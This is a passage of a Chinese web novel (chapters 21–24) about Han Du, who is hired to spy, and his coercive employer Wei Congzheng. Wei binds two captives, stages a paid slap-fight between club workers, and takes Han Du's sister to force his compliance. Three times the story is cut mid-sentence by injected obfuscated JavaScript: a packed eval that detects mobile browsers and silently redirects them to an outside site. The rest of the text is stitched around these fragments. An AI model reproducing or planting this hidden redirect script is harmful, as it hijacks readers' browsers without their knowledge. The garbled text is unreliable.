卫生间玻璃门被“刷”地拉开,乔斌一身水汽,赤裸着身体站在他对面:“我都快准备好了。”
“抱歉,下次补偿你。”韩渡下意识移开视线。
“亲我一口。”
韩渡拥住他,一手抚在他耳后,轻轻吻上他的嘴唇。
韩渡从酒店里拿了一瓶未开封的矿泉水,十分钟后,出现在燕城大学教职工宿舍。
“小韩啊,这么晚还来看望江老师?”保安大爷惊诧不已地为他打开道闸杆。
车窗摇下,韩渡将一包烟递给大爷:“白天有东西落在江老师家里了,急着来拿。”
“小韩有出息,都能登门拜访了。”大爷赞叹着将整包烟塞进了裤子口袋。
“可不是嘛。”韩渡跟着笑道,把车开进了宿舍区。
他下车来到江筹楼下,却并没有看见魏从峥。又仔细寻了个遍,还是半个人影都没看到。
韩渡望着对应楼层一片漆黑的模样,心里有些明白过来。
握着矿泉水的手在寒风中逐渐变得僵直,韩渡正要回车里,又一通电话打了进来。
冻僵的手指有些不听使唤地在手机屏幕上划了两下,方才接通了电话。
“到了吗?”魏从峥的声音依然淡淡的。
韩渡捏紧了手机,从嗓子眼挤出声音来:“到了。”
“啊,居然已经到了。”魏从峥把玩着手里的房卡,脸上不觉浮现笑意,“不好意思啊,刚刚忘了跟你说,他们回去了之后又出来了,现在人在宾馆开房呢。”
韩渡心里有了不妙的预感。
“就在燕城大学附近,我盯着呢。麻烦你再跑一趟,我的水还带着吧?”
韩渡低头看了眼手里那瓶矿泉水:“带了。”
“那就好。”魏从峥满意地眯起了眼睛,一丝邪乎劲在他眼中一闪而过,他说道,“你快点过来,晚点儿他们就做起来了。”
“你不能直接闯进去?”韩渡忍不住说道,“以你的力气,不是难事吧。”
“怎么能这么粗鲁?”魏从峥指责韩渡,悠然道,“我跟酒店要了房卡,就等你来了。”
“都有房卡了,你就不能自己先进去?”韩渡无力地应付着这场对话,脚步烦躁地往停车的地方走去。
魏从峥捏着房卡,往前一脚踩在了某个跪着的人背上,徐徐碾动,声音却温柔戏谑地紧:“那可不行。我一个人势单力薄,应付不了他们两个人呢。”
21. 酒店对质
不妙的预感在第二次走进同一家酒店时基本坐实。
韩渡不由看向手里那瓶贴着这家酒店广告的矿泉水,刹那的犹豫后,脚步不停地往魏从峥给的房间号走去。
棕红的地砖一路铺设到走廊深处,韩渡的脚步在最里间的一扇门前停下,随即按响了门铃。
没等片刻,房门从里面被人打开。
魏从峥穿着一袭十分正式的藏青色西装,每根发丝都梳理得整齐有度,皮肤润泽,眉若刀裁,一看便是刚参加完某场重要活动,由专门团队事先打理过。
他倚在门前,上下打量韩渡,见韩渡一身风尘仆仆,翘了翘唇角,问道:“我的水呢?”
韩渡将矿泉水递过去。
看着与自己胸口只剩一拳距离的水,魏从峥笑起来,接过水的同时,将韩渡的手往回推了推:“我怎么感觉你有点不高兴?”
“人呢?”韩渡不想跟他废话,直奔主题。
魏从峥却答非所问,盯着矿泉水瓶看了看:“这瓶水是你刚刚在楼底下问前台要的?”
韩渡见他果然这么问,了然一笑:“半小时前在这家酒店拿的。”
“哦?”魏从峥打开水喝了一口,不紧不慢地问道,“半小时前你就到了?难道说——”
“是,正准备做点正事,突然接到你的电话。”
“人都跟丢了,还有心思来酒店做‘正事’。”魏从峥眼中含着和煦的笑,“别告诉我,你是一路尾随他们,一起来了这家酒店。”
“当然不是。”
“我也相信不是,不然你还让我去江筹宿舍,总不能是故意耍我。”
韩渡看着魏从峥,魏从峥也笑着看他。
“只是你既然猜到他们会去哪里,怎么不赶紧跟过去,什么正事这么重要?”魏从峥笑意渐褪。
“你是要在门口审问我?”韩渡反问。
“我只是好奇,有什么正事,忙得你分身乏术。”魏从峥露出奇异的神情,“碰巧有人告诉我,在这家酒店查到了苏郁明的开房记录,我只是稍微再查一下,你说巧不巧,你的名字居然也在里面。”
说完,魏从峥侧身,请韩渡进屋,随后将门缓缓合上。
韩渡走进房间,这才看到刚刚处在视线盲区的两个人。
一双带着热意的手蓦然搭在了韩渡双肩,魏从峥半推着他往前走,慵懒的声线在他耳边低语:“来,仔细看看,你们都正式打个招呼。”
双手被缚、低头跪在地上的二人闻言抬起头,面色各异地看向韩渡。
韩渡不由地想往后退,却被魏从峥强硬地锁住肩膀。魏从峥站在他身后,一股馥郁绮异的香水味幽幽传来,对方侧头观看韩渡的表情,似乎觉得有点意思:“别怕,他们都被绑住了,抓不到你。”
第一次经历眼前这种事,韩渡确实有些震惊,但他很快反应过来,怒道:“魏从峥,你什么意思?”
地上跪着的两个人,正是前不久才刚跟他分别的江筹和乔斌。江筹也就罢了,乔斌为什么也在这?!
魏从峥放在他肩上的一只手顺势向前,沿着韩渡衣领,向他胸前探去。
那触感让韩渡一个激灵,立刻开始挣扎。
“别动。”魏从峥低喝,瞬息间就从韩渡怀中掏出一支小型录音笔。
他松开韩渡,走到那二人面前,研究了会录音笔,伴随着“咔嚓”一声,一段沙沙的录音从笔端传了出来,正是韩渡之前在酒吧后街录下的一小段。
“果然藏私了。”魏从峥抿唇,状似失望地看向韩渡,“我那么信任你,让你帮我盯个人而已,这才半个月吧,就开始有异心了,是跟江筹培养出感情了?”
韩渡视线从录音笔上收回:“这说明不了什么。你让我做的事我都做了,一些无关紧要的谈话内容,我想你也没有兴趣知道。”
“你很了解我吗?”魏从峥问道,将录音笔扔在了桌上。
“我总不能事无巨细跟你汇报。”韩渡道,“他们两个做错了什么,要被你这样侮辱?”
“别这么大义凛然地上来就指责我。”魏从峥无所谓地扫了地上二人一眼,又笑着看向韩渡,“不过我现在没空跟你解释,不如你先跟他们解释一下吧。”
“你先放开他们。”
魏从峥摆摆手:“我也没拦着你。你们聊,我去隔壁看看。”
韩渡一愣。魏从峥果真不按常理出牌地往房间门口走去,只是临走前,他又回头看了眼韩渡,恶劣地说:“还以为你是直男,只是就算是喜欢男人,也要挑点好的。”
韩渡沉下脸,没有理会他说的话,赶紧转身为江筹和乔斌松绑。
乔斌看着韩渡,欲言又止,随后退到一边,将空间先留给他和江筹。
韩渡为江筹松开绳子,想到刚刚发生的事,轻声道:“对不起。”
江筹在地上跪得久了,起身时踉跄了一下,韩渡见状,扶着他慢慢坐在床边。
他想收回手,却被江筹按住:“你是魏从峥派来监视我的?”
到了这种时候,韩渡也没有什么好隐瞒的:“是。”
“多久了?”
“半个多月。”
“我居然一点也没察觉……”江筹怔怔地看着韩渡,随即想明白一些事情,“今天下午,你也是故意来接近我?”
韩渡没有说话,算是默认了。江筹侧脸有伤,也许是反抗魏从峥的时候留下的,意识到韩渡在盯着自己伤口看,江筹当即抬手扶了扶眼镜,顺手遮住那处地方。
“我以后不会再去找你,那只小狗,希望你好好照顾。我只有一句话,苏郁明跟他们的事,不是我们能左右的。”事已至此,魏从峥应该不会再让他去跟踪江筹了,韩渡心里五味杂陈,只能这样对江筹说。
“对,小苏还在隔壁。”江筹却只注意到韩渡话里的“苏郁明”三个字,推开韩渡往门口走去。
韩渡没有拦他,走过去看乔斌:“你怎么样,要不要去医院?”
乔斌也受了点擦伤,但他顾及不了那些,握住韩渡的手,将心里的疑问倒豆子一样通通问了出来:“那个人是谁?为什么要抓我?韩哥,你到底是做什么的?”
韩渡拣能说的回答他:“他是我的雇主,雇我帮他跟踪……一些人,抓你大概是因为,我在工作时间见你,耽误了一些重要的事。”
“晚上八点也在你的工作时间吗?”乔斌猛地一嗓子,十分不服气,“什么工作那么重要?员工还有没有人身自由了?就算你耽误工作了,他抓人是怎么回事?他是□□吗?”
“我不该今晚喊你出来。”韩渡说,“我先送你回去。”
“打人的是他,把我们抓起来的也是他,韩哥你不能这么说,我不回去,我要报警!”
韩渡原本想阻止他,却不忍心那么做,于是眼看着乔斌迅速拨通了报警电话。
另外一边,本已经走到门口的江筹又退了回来。见韩渡疑惑地看过来,江筹凝重地说:“外面有人。”
韩渡也走到门口,推开房门,正要出去,一道黑色的身影拦在了他面前。
“你是谁?”韩渡皱眉,看向这个堵在门口、体型像一座小山的男人。
男人双眼低垂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897228|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音浑厚:“魏总请你们留步。”
“他已经答应了放人。”
“请留步。”
“他就在隔壁,你问一嗓子就知道了。”
男人默不作声地盯着韩渡等人,看架势仍然不打算放他们走。
“魏从峥他还想干什么?”
“我不知道。您请回。”
“你让他过来。”
“魏总吩咐我守在这里,请您别为难我。”男人不为所动。
韩渡见跟他没法沟通,泄气地又关上门,正碰上江筹焦虑的目光,于是对他说道:“你放心吧,魏从峥不会把苏郁明怎么样。”
江筹苦笑道:“没事,你这位朋友已经通知了警察,再等等也没关系。”
韩渡不甚在意地点点头,转而又有些好奇:“你跟苏郁明来这里做什么?”
江筹道:“他喝多了,我带他过来休息。”
“怎么不去他家?”
“他家附近有蹲点的记者,怕上新闻。”江筹解释道。
二人平淡地交流了两句,房间里逐渐安静下来。
乔斌走到韩渡身边,韩渡思索了会儿,对他说:“这次是我连累你。回去之后你先休息一阵子,等我忙完这边的事再联系你。”
“韩哥,”乔斌听他语气,不难猜出他的意思,“你是要跟我结束了?”
韩渡正要开口,乔斌急道,“你不要听你老板挑拨,你是不是也觉得我不够好,配不上你?”
“我没有那个意思。”韩渡解释,“你是燕城大学的高材生,长得好,性格也好,怎么会配不上我。只是我现在的情况有些复杂,我还有件事情要去处理,没法照顾好你。”
“我不需要你照顾。”
“我知道,但是我可能会遇上点事,跟我走得太近会牵连你。就像这次一样。”
乔斌依然不同意,他还没跟韩渡处够。自从第一眼在那个楼道看见韩渡,他就拿定了主意,这人无论是长相身材还是性格床品,都可遇不可求,简直处处合自己口味。虽然韩渡不愿意松口跟自己处对象,但几次约会已经让他食髓知味,这个时候当然不会放手。
就在两人僵持不下的时候,门外传来说话声。
乔斌跑到猫眼处往外看,回头兴奋地用口型对韩渡说:是警察!
江筹也来到门口,拧开门锁。
韩渡坐在屋内,并没有凑上前去。
不知屋外守门的那个男人说了什么,赶来的警察面色一变。男人侧身让警察也进了屋。
韩渡看着这些人给江筹、乔斌当场做了笔录,简单慰问了两句就收拾东西准备撤离。
江筹跟在他们后面正要走出去,却再次被拦住:“笔录也做了,请回吧。”
“你!”江筹惊怒,“你没看到警察都过来了吗?”
“我看到了,您请回吧,魏总很快就到。”
江筹望着分明听到这边的动静,却头也不回地消失在走廊里的那些警察,终于意识到什么,骇然后退。
乔斌也慌了神:“这是怎么回事?为什么会这样?”
就在这时,隔壁房门打开,魏从峥表情极为阴鸷地走了出来。他不耐烦地说:“放他们走。”
男人收到命令,当即放下手臂,请江筹和乔斌离开。
见二人似乎是没反应过来,不明所以地在原地踯躅,魏从峥脸色一冷,给了男人一个眼神。男人会意,走进去一手拎一个,将二人带出了房间,一路往电梯口送。
听见外面的动静,韩渡正从凳子上起身,刚好看见魏从峥沉步走了进来。
22. 杀鸡儆猴
魏从峥向韩渡走来,正走着,视线移向他身后的玻璃窗:“下雪了。”
韩渡转身往窗外看去,城市上空不知何时飘起了清冷的细雪。
路上有行人驻足赏雪,城市的霓虹灯似乎都变得素净了几分。
魏从峥走到韩渡身旁一同看雪,韩渡望着玻璃反射出的光影,开口道:“这下你满意了?”
魏从峥侧头看他:“我好像还没把你怎么样?”
“你嫉恨江筹所以抓他,乔斌又哪里惹你了?”
“我嫉恨江筹?”魏从峥感到好笑,“他配吗?一只苍蝇叮在我的蛋糕上,我想拍死他说明我嫉妒他?”
“刚刚苏郁明给你好脸色了?”韩渡说,“苏郁明和江筹只是普通朋友,你这样做只会激化矛盾。”
“少管闲事。”魏从峥与玻璃窗中的韩渡对视,明白过来,“你怕我为难江筹,在替他求情?”
“江筹跟你们不一样,他一门心思做学术,只把苏郁明当弟弟,如果你放心荣逸飞,没道理容忍不下他。”韩渡尽力为江筹说些好话,想弥补自己这些天的行为。
一丝笑意浮上魏从峥嘴角,他奇怪地看着韩渡:“这些日子,你倒是听了不少东西。”
“魏总身边的好戏多。”韩渡低头道。
交谈间,雪下大了,一枚枚晶莹的雪片被北风吹在了窗上。
“乔斌呢,你怎么解释?”韩渡问。
“顺手的事。”
“顺手还能把人捆上?”
“嗯?替你的小男朋友打抱不平?”
“你有什么意见冲我来,别把无辜的人牵连进来,乔斌什么也不知道。”
“别以为我就会放过你。”魏从峥扭头看向韩渡,见韩渡眼里隐约闪着怒火,于是说道:“如果刚刚跪着的是你,不知道你还能不能像现在这样硬气。”
韩渡拧眉,意识到问题所在:“你抓乔斌,是为了做给我看?”
魏从峥笑道:“看我对你多好,都没舍得动你。”
韩渡想张口骂他,又觉得不过是白费口舌,今天他已经说了很多话。于是只是说:“出了今晚的事,江筹那边我已经没法去了,你换人吧。”
“那只狗你也不要了?”
“……”韩渡惊怒交加,“你派人跟踪我?你有什么毛病?还专门来盯我?”韩渡总算知道了,哪里有什么查到苏郁明又查到自己,分明是这人从来就没放心过他,在安排他监视江筹的同时,还专门派人监视他。
见韩渡如此反应,魏从峥终于抚掌而笑:“盯了这么些天,能看到你现在的表情,也算值得。”
韩渡忍无可忍,提起了拳头。
魏从峥却动作更快地出手握住他绷紧的拳头,笑道:“别冲动,这一拳下来,受伤的应该不会是我。”
“你可以试试。”韩渡也笑道。
“气劲儿不小。”魏从峥道,在韩渡抬腿要踢过来时,胳膊一拧,将韩渡整个人反身按在了玻璃窗上。
韩渡气极,又有些无奈,上回在兰溪水榭发生的事情似乎重演了,等这次回去,一定要找个教练学武术。
“再打啊,怎么不动了?”魏从峥见韩渡贴在玻璃上一动不动,不由调侃道。
“打不过,还怎么打。”韩渡没好气地说。
“看你硬气的,你不是喜欢男人吗?连美人计都不会?”
这人绝对是故意羞辱他,韩渡警告地一眼瞪过去。
看把人惹恼了,魏从峥见好就收,松开手,正要说话,韩渡趁他不备,将手边桌子上放着的一只烟灰缸朝他砸过去。
魏从峥猝不及防被烟灰缸砸到胸前,正要发作,与韩渡对视一眼,忽改了主意,不怒反笑。
“张垚!”
房间门被推开,之前守在门口的男人走进来。
“带上他,跟我走。”魏从峥指了指韩渡。
韩渡今晚第二次来到菩树原。
他跟在魏从峥身后,进了一家十分嘈杂的娱乐会所。名叫张垚的男人走在最后,将韩渡牢牢看住。
会所格局复杂,走道造得跟迷宫似的,刺耳的音乐直往人脑袋里钻。三人进了一扇隐秘的门,进门后,张垚自觉出门守在了外面。
魏从峥将外套脱下,抖落上面的雪粒,交到一旁的服务员手中,服务员同时将托盘里的热毛巾递了上来。另有一名服务员在他脚边蹲下,拿着一双室内穿的拖鞋,亲手给他换上。
也有两名服务员走到韩渡这边,要复刻这一套服务流程。韩渡摆手,只接过来热毛巾。
随后,几名窈窕清秀的女服务员走进来,在茶几上放下一盘盘不同时令的新鲜水果,开了一瓶红酒,为两人斟上。
魏从峥挥手让她们都出去,直到房间里只剩下他和韩渡。
韩渡不知道他葫芦里卖的什么药,费这么大周折将他带到这里,来了又一言不发,自己在那儿自斟自饮。
“你不喝吗?”魏从峥见韩渡面前的酒水一口未动,于是问道。
韩渡说:“你把我带到这里,应该不是想请我喝酒吧。”
魏从峥作思索状,问道:“这影响你陪我喝酒吗?”
韩渡端起酒杯,仰头喝下去大半,用手背抹了把嘴:“酒也喝了,你可以开始了。”
“带你过来,有一场好戏要给你看。”
话音刚落,一名经理模样的年轻女子带着五六个眉清目秀的少年鱼贯而入。
魏从峥一眼扫过去,指着其中两个道:“他们两个留下。”
“小夏、小文,伺候好魏总。”女子将那二人点出列,领着其余人等告退。
屋子里只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897229|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩下四人,小夏、小文对视一眼,分别向魏从峥和韩渡走来。
“站住。”魏从峥道,“你们来这里多久了?”
两人堪堪止住脚步,谨慎地回答:“回魏总,我来了两年。”“我来了三个月。”
“缺钱?”魏从峥问。
“来这里的,多少都缺点钱。”小夏回答得坦率。
“那就好办了。我这里有五百万,你们互扇耳光,谁打得多、打得响,我听高兴了,这五百万就归谁。”
“什么?”小夏惊呼。小文也不敢置信地看向魏从峥,怀疑自己是不是听错了。
“魏从峥!”韩渡斥道,“你在胡说什么?”
“你别急。”魏从峥柔声安抚韩渡,又笑着看向二人,“还用我说得再明白些吗?”
“真有五百万?”小文带着颤音问道。
“你不要胡闹。”韩渡忍不住开口,实在是太荒唐了。
“怎么能说是胡闹?”魏从峥委屈地望着韩渡,“你也说了在我身边有好戏看,这不是正合你意?”说完,他解下手腕上的表放在桌面上,对小文说:“这块表已经两千万,我用得着拿五百万骗你们?”
小文咽了咽唾沫,显然是心动了。
小夏眼睛一亮,他是识货的,当即一发狠,抬手便先发制人地给了小文一巴掌。
小文脸颊顿时红了一片,他喊叫了一嗓子,再也不迟疑,扑上去就开始还击。
顷刻间,两人已厮打起来。
“住手!”韩渡看不下去了,大声喝止他们。小夏、小文却充耳不闻,尖叫着互相殴打。
“哈哈哈哈哈,”一旁,魏从峥纵声大笑:“韩渡,你何苦拦人财路?”
韩渡登时起身,他制止不了,走还不行吗?
“你以为你走得了?”在他身后,魏从峥笑道。
意识到魏从峥那位保镖张垚正守在门外,韩渡深吸口气,三步并作两步来到魏从峥面前,拎起他衣领:“让他们住手。”
“你这人真没意思,又要对我动粗。”魏从峥叹气,随即一脚扫过来,将韩渡绊倒,同时出手把人牢牢缚在了案几上,“怎么就不长记性,你是我的对手吗?”
不等韩渡说话,魏从峥将人制服后,下一秒便再次松开了韩渡,似是不屑跟他计较。
韩渡脸色极为难看地站起来。
“行了行了,住手吧。”又过了一阵子,眼瞅二人脸上都见了红,魏从峥摆摆手,叫停了小夏、小文,随手一指,“五百万归你了,回头你把银行账户告诉小高经理,我让人打给你。”
小夏喜出望外,眼里霎时沁出泪花,激动地连连感谢魏从峥。
魏从峥不在意地瞥了眼他,又道:“我这里还有五百万。”
在场三人俱是一惊,不知他还想玩什么花样。
23. 跋扈
一整瓶红酒,韩渡只动了半杯,其余都进了魏从峥肚子。
他一副将红酒当水喝的样子,一杯接一杯,看那架势是想把自己灌醉。
韩渡冷眼看着,这人今晚屡出邪招,不定是在苏郁明那里摔了跟头,这会儿借酒消愁还不满足,还要折磨别人取乐,喝死他算了。
魏从峥喝着喝着,往韩渡脸上睇了一眼,笑道:“都说千金买笑,你们想想办法,谁能让我身边这位开心点,这五百万就归谁。”
小夏、小文面面相觑,一人小声问:“需要我们做什么?”
“我要是知道答案,还要你们干什么?”
小文已经输了一回,急切地凑上来,手就要放在韩渡膝盖上。韩渡后退一步:“你们什么都不用做。”
“让我做什么都可以,没有我不擅长的。这里不是别的地方,我们绝对保护客人的隐私。”小文忙道。
看着小文红肿的脸上浮现出的谄媚笑意,一丝怜悯在韩渡眼中划过。
“魏从峥,我没想到你这么无聊、幼稚。如果你是想告诉我你很有钱,我已经看到了,可以结束了吗?”韩渡难掩厌倦地看向魏从峥。
“无聊吗?”魏从峥视线投向那二人。二人纷纷摇头,媚笑道:“哪里的话,我们在这儿待了这么久,没见过像您这样有趣的客人。”如果不是他们的脸上还有抓伤和淤伤,这些话会更有说服力。
“你说,要是苏郁明也像他们这样,事情会不会简单很多。”魏从峥提了提唇角,问韩渡。
“所以苏郁明只有一个。”韩渡道。
魏从峥耸了耸肩,转头看向别处:“你是叫小夏?”
刚将五百万收入囊中的小夏诚惶诚恐地点头,生怕惹恼了这位金主,自己那好不容易得来的五百万又从手里飞走:“您记性真好,是我没错。”
“教教你后辈,怎么讨客人喜欢。”
小夏咽了咽唾沫,膝行到魏从峥脚下,双手开始按摩魏从峥西装裤下的小腿。起初动作还很规矩,随着时间推移,他的手逐渐向上,向更私密的地方碰去。
就在韩渡以为魏从峥要在自己面前上演十八禁的时候,魏从峥一句“废物”,一脚踹在了对方心窝,将人踹得四脚朝天。
小文原本快摸到韩渡的手吓得瞬间缩了回去,大气也不敢出。
韩渡无声地垂下眼睛。
小夏大口大口地喘息,脸上犹有残余的泪痕,他满眼忐忑和惧怕的仰视魏从峥,捂着心口,半个“不”字也不敢说。
魏从峥厌恶地扭头:“只有这点手段,看来小高经理明天也不用来上班了。”
“我腻了,你们出去吧,剩下五百万你们自己拿去分。”
小夏、小文喜出望外,四只眼睛发出异彩,不但一下子忘记了恐惧,高兴得脸皮都在抽搐。
待他们离开,屋子里又只剩下韩渡和魏从峥两个人。
韩渡平静地坐了下来,拿起一瓶新开封的酒,给自己满上,“如果全天下的有钱人都像你这样挥霍,阶级流动性应该能改善很多。”
见韩渡终于愿意陪自己喝酒,魏从峥心情颇好地附和:“放心,你想追上我们,还要再努力几辈子。”
“你未免太自信了。”
“几辈子已经很保守了。”
“所以呢?你就利用你的优势来作践人?”韩渡讥诮道。
“天大的误会。”魏从峥为自己鸣不平,“明明是你喜欢看戏,我为了成全你才花这一千万,这种把戏我十年前就看腻了,也就你看着还新鲜。”
“你要是真心想跟苏郁明好好过,我劝你少做这种事。”
“做不做这种事,我跟他都好不了。”魏从峥屈指在玻璃杯上敲了敲,“我不懂,我哪里比不上江筹了,你们一个个都跟母鸡护崽一样,生怕我动这个姓江的。”
韩渡瞥他一眼,煞有其事地比较了一番,说道:“不明白就再想想。”
“不如你说说?”
“不用跟我这儿装傻。”
魏从峥笑道:“他们都劝我放手,说我跟苏郁明不合适,你怎么不劝我?”
韩渡将酒杯放下,扶了扶脑袋,看着他笑:“你会放手吗?”
“你怎么知道我不会?”
“你不会放手。”韩渡摇头,魏从峥要是能那么轻易放手,近百万字的原著故事是怎么水出来的?
“不试试怎么知道?”
“随你的便。”韩渡不在意地挥挥手,“我有些醉了。”
“回去吧。”这次,魏从峥松口得快。不久,有服务员进来,为二人披上已经被烘得暖洋洋的外套。
出了房间,嘈杂的人声顿时一拥而上。
韩渡走在魏从峥后面,忍不住甩了甩头,脑袋清醒了些。他想到明天的事,于是对魏从峥说:“明天我就不过去了。”
周围的鼓点声和音乐声太吵,魏从峥见他扯着嗓子说话,后退两步走到他身边:“你说什么?”
“我要解约。”韩渡索性换了个说法。
魏从峥眼睛一眯,道:“你想好了再说。”
“你换人吧,我不做了。”话说出口后,韩渡反而更确定了。
“你付得起违约金吗?”魏从峥点他。
“不会赖你的账。”
“你对自己的财政状况没数吗?”魏从峥嘲讽道,见韩渡发愣,他道,“想想你的房贷。”
韩渡差点忘了,这具身体并没给他留下多少资产,反倒是欠了一屁股的债。
难得见韩渡吃瘪,魏从峥笑道:“韩渡啊韩渡,别忘了你也缺钱。”
这话里的意思并不好听,韩渡先是有些恼,随后又释然了,原身留下的债好歹不是人情债,钱债好还,情债难偿,慢慢来,总有一天能填平这个窟窿。韩渡“呵”了声:“缺钱总比某人缺德好。”
“你阴阳谁呢?”魏从峥斜着扫来一眼。
“某人不仅缺德,还缺心眼,每天起早贪黑地工作,挣些钱也不容易,就这么随便洒出去了,可见脑子里缺根筋。”韩渡自认也算比较了解魏从峥了,戳心窝子的话还是能说出来一两句的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897230|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果然,魏从峥这回是真的有些不高兴了。
这倒是稀奇,韩渡发觉自己阴郁了一晚上的心情居然好了点。
两人互相较劲着走出会所,刚一出来,韩渡机敏地察觉到有镜头在拍,长期养成的习惯让他极其熟练地一把抓住魏从峥的胳膊,同时挺身上前,将人严严实实地挡在身后。
这速度,连一直跟在二人身后的张垚都没反应过来。
做完这一连串动作,韩渡脑子里断了的那根弦才重新接上,他懊恼地松开魏从峥。
“你这是干什么?”魏从峥奇道,埋汰他,“要给我挡刀子?”
韩渡总不能说是察觉到有摄像机在偷拍,自己出于职业习惯,想把“艺人”护在后面。他快受不了魏从峥这性子了:“真要有刀过来,我第一个把你推出去。”
魏从峥不过是跟他开玩笑,稍微一想便明白了,笑道:“怕跟我一起上头条?”
韩渡自己曾经就在头条常驻过,自然不怕这些,不过:“这种好事还是留给你跟苏郁明吧。”
魏从峥不满地“哼”了一声。
韩渡谢绝魏从峥要让张垚送自己回去的建议,沿街拦了辆出租车。
本以为这天终于结束了,谁知一打开家门,他却发现家里黑漆漆的,一丝人气也没有。
韩渡推开韩卉的房门,发现床上的被子掉在了地上,床头柜的闹钟、插线板、水杯通通被人弄倒了,墙沿的垃圾桶也被人踢倒在地,洒了一地的垃圾。
韩渡喊韩卉的名字,又里里外外在家里找了几遍,始终没找到韩卉。他拨通韩卉的电话,却在家里听到了来电铃声。
循着声音,韩渡走到玄关处,俯身趴在了地上,最终在鞋柜底下发现了被丢弃的手机。
韩渡跌坐在沙发里,出了一身冷汗。
难道是韩卉突然病发,在屋里折腾了一顿然后跑了出去?她现在神智一时清醒一时糊涂,能去哪里呢?
正在韩渡犹豫要不要直接报警时,他的手机亮了。
魏从峥这时候给他来电话干什么?韩渡心神不宁地接通电话,不出片刻,他倏地起身,怒道:“是你绑架了小卉?!”
“我是请她来作客。”魏从峥慢条斯理地更正韩渡的用词。
“你擅闯私人住宅,你这是犯法!魏从峥,你已经无法无天了吗?!”
“啊,信号不好,你说什么,我听不见。”对面开始装聋作哑。
韩渡被他气得不轻:“你把小卉带哪儿去了?不许伤害她!”
“你不是要解约吗?你解啊。”
韩渡忍不住开始在电话里骂他。
“息怒息怒,别气了,瞧瞧你,注意点素质。”魏从峥不痛不痒地笑道,“说了要给你点教训,自然是要给的,我没把她怎么样,我只是看她孤零零一个人在家,有些可怜,就把她请到了专业疗养院。”
“她不需要,你把人送回来。”
“她都成年了,你不要自以为对她好,就替她做决定。你别急,明天我带你去看她。”
24. 赌约
远山疗养院。
韩渡来到这里时,正值医护人员带着病人们出来晒太阳。
深冬时节,即使出了太阳,依然驱不走寒气,但是病人们都很高兴地在枯黄的草坪上散步,有些甚至自顾自地手舞足蹈。
韩渡站在外面的林子里,眺望正在一个人散步的韩卉,她看起来很平静,没有因为初来乍到而表现得惊慌不安,但这种平静也透露着一股挥之不去的死气。
“这里依山傍水,有最先进的医疗服务,还有二十四小时全天候陪护,不比你那鸽子窝舒服?”
韩渡冷淡地扫了他一眼:“那就不劳你费心了。”
魏从峥长叹道:“诶,可惜当事人不领情。”
今天一早,韩渡就冲到了魏从峥住所,把人从健身房里拎出来,逼问他疗养院地址。
魏从峥颇不乐意地冲了个快澡,随后带着韩渡来到这里。
“在这里好歹还有人陪着说话,你把她一个人留在家里,她白天除了睡觉还能干嘛?整天睡觉,病能好吗?”魏从峥振振有词地教育韩渡。
韩渡嫌他聒噪:“你有这份好心吗?”
“我没有吗?”魏从峥叫屈。
韩渡指着跟在韩卉不远处的一个女护士,“她是你的人吧,一直盯着小卉。”
“不错。”魏从峥承认得爽快。
“让你的人走开,我要带小卉回去。”
“走什么。”魏从峥也不废话,直接掐灭韩渡的心思,“带你过来是给你看个安心,其他的要求你想都别想。”
“你图什么呢?”韩渡感到费解,这里的吃穿用度一看就不便宜,换个角度想,与其说是给他添堵,不如说是主动花钱帮他解决了日夜照料韩卉的问题。
“我会安排人把她照顾好,接下来一周,我要你跟我一起南下。”
“去哪里?”
“蒲贡。”
“去那里干什么?”蒲贡地处热带,中央政府力量孱弱,武装割据严重,犯罪猖獗,韩渡虽然没去过,却早有耳闻。
“你只管跟我去就行。”魏从峥笑道。
“我已经不是你属下了。”韩渡断然拒绝。
“想清楚再说这话,看看你妹妹。”魏从峥朝韩卉方向扬了扬下巴,姿态相当跋扈。
韩渡不由笑了,这一招虽然阴损却着实有效,谁能想到魏从峥用江筹拿捏苏郁明的手段,居然先用在了他这个无名小卒身上。
“笑就对了,就欣赏你这种心态好的样子。”
韩渡笑意不变,却冷不丁地出手砍向魏从峥脖颈。
魏从峥迅速侧身抬臂,险之又险地将韩渡的手挡了回去。
韩渡心里暗骂一声,若无其事地收回了手。
“现在都开始搞偷袭了?”魏从峥惊奇地盯着韩渡上下打量,就像他脸上多了奇怪的东西。
“正面出手,谈不上偷袭。”
“这像话吗?”
“不是让我跟着你吗?有本事你就‘二十四小时全天候’防着。”
魏从峥不以为忤,往前走了一步,提道:“赌一局怎么样?”
“赌什么?”韩渡问。
“赌你后面一周,伤不到我一根头发丝。”魏从峥笑道。
“你这是瞧不起我,还是对自己太有信心?”韩渡疑惑,“你要是输了怎么办?”
